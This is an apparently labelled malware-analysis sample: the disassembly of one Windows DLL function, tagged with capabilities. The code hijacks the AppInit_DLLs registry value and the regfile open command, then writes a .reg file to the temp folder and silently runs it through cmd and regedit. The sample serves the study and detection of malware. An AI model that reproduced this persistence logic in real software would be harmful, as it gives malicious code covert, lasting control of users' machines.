Function at 0x10001ee0
Capabilities:
Create process on windows
Get common file path
Persist via appinit_dlls registry key
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x4fc
push ebx
push ebp
push esi
push edi
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.RegQueryValueExA
stosw word es:[edi], ax
push str.Advapi32.dll
stosb byte es:[edi], al
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegOpenKeyExA
push str.Advapi32.dll
mov ebx, eax
call esi
push eax
call edi
push str.RegCloseKey
push str.Advapi32.dll
mov ebp, eax
call esi
push eax
call edi
push str.RegSetValueExA
push str.Advapi32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
mov dword [esp + 0x18], eax
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x219]
mov byte [esp + 0x218], 0
mov byte [esp + 0x2e0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x2e1]
mov byte [esp + 0x150], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x151]
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x32
xor eax, eax
lea edi, [esp + 0x218]
rep stosd dword es:[edi], eax
mov ecx, 0x32
lea edi, [esp + 0x2e0]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x150]
rep stosd dword es:[edi], eax
mov ecx, 0xd
lea edi, [esp + 0x3a8]
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x3a8]
push eax
push 0xf003f
push 0
push ecx
push 0x80000002
movsb byte es:[edi], byte [esi]
call ebp
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x218]
push 0x10004010
push edx
push 0
push 0
push str.AppInit_DLLs
push eax
call ebx
lea edi, [esp + 0x218]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2e0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x218]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10002089
mov edi, 0x100041fc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x2e0]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x24]
push 0x64
rep stosd dword es:[edi], eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._fl.tmp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x24]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x154]
push 0x100041f8
push ecx
call sub.MSVCRT.dll_sprintf
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x2e0]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x218]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000214c
lea eax, [esp + 0x150]
lea ecx, [esp + 0x218]
push eax
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x1000233b
lea edx, [esp + 0x14]
push edx
push 0xf003f
push 0
push str.regfile_shellopencommand
push 0x80000000
call ebp
mov edi, str.regedit.exe__s___1_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.regedit.exe__s___1_
push 1
push eax
mov eax, dword [esp + 0x24]
push 0x100044bc
push eax
call dword [esp + 0x30]
mov dl, byte [esp + 0x2e0]
mov ecx, 0x4b
xor eax, eax
lea edi, [esp + 0x3e0]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0xec]
test dl, dl
rep stosd dword es:[edi], eax
je 0x1000220e
lea ebx, [esp + 0x2e0]
cmp dl, 0x5c
jne 0x100021ef
mov edi, 0x100041c4
or ecx, 0xffffffff
xor eax, eax
lea ebp, [esp + 0xec]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xec]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
inc ebx
mov byte [esp + ecx + 0xec], dl
mov dl, byte [ebx]
test dl, dl
jne 0x100021b9
lea ecx, [esp + 0xec]
lea edx, [esp + 0x3e0]
push ecx
push str.Windows_Registry_Editor_Version_5.00_r_n_r_n_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows_NTCurrentVersionWindows__r_n_AppInit_DLLs___s_
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x95]
mov byte [esp + 0x94], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 0xc
stosb byte es:[edi], al
lea eax, [esp + 0x88]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, str.a.reg
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x88]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
push 2
mov ecx, ebx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x9c]
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x20]
push 0
mov esi, eax
push ecx
lea edi, [esp + 0x3e8]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x3e8]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x1b5]
mov byte [esp + 0x1b4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x88]
lea ecx, [esp + 0x1b4]
push eax
push str.cmd__c__s
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [esp + 0x1b4]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x14]
push ecx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4fc
ret